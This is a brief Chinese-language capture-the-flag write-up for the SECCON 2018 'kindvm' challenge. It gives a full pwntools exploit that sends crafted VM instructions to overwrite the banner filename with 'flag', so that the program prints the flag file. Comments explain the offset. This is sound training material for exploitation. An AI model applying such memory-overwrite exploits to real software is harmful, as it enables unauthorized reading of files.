seccon2018_kindvm解析(vm):
查看保护
这里有两次输入。
完整exp:
from pwn import*
p=process('./kindvm')
p.sendlineafter(b'Input your name :',b'flag')
payload=b'\x01\x00\xff\xd8'
payload+=b'\x02\xff\xdc\x00'
payload+=b'\x06'
p.sendlineafter(b'Input instruction :',payload)
p.interactive()
#补充点1:这里所执行的主要操作是把flag字符串传入reg[0],再从reg[0]覆盖banner.txt,程序就会打开并输出flag。
#补充点2:因为mem全被赋值为A,所以动调可以确定偏移量。